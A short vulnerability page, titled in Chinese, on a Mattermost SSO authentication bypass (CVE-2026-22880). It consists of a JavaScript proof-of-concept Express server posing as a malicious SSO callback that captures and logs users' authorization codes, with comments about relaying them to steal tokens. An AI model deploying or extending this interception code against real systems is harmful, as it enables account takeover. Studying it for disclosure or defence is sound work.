CVE-2026-22880 Mattermost SSO认证绕过漏洞

/* * PoC Concept: Malicious Server simulating SSO callback * This script demonstrates how a malicious server could be set up * to intercept the SSO flow if the client does not validate the origin. */ const express = require('express'); const app = express(); app.get('/sso/callback', (req, res) => { // The vulnerable app accepts this callback without checking the host const code = req.query.code; console.log(`[!] Intercepted SSO Code: ${code}`); // Relay the code to the legitimate server to steal the token // or return a crafted response to the mobile app res.send(`Received code: ${code}`); }); app.listen(8080, () => { console.log('Malicious SSO server listening on port 8080'); });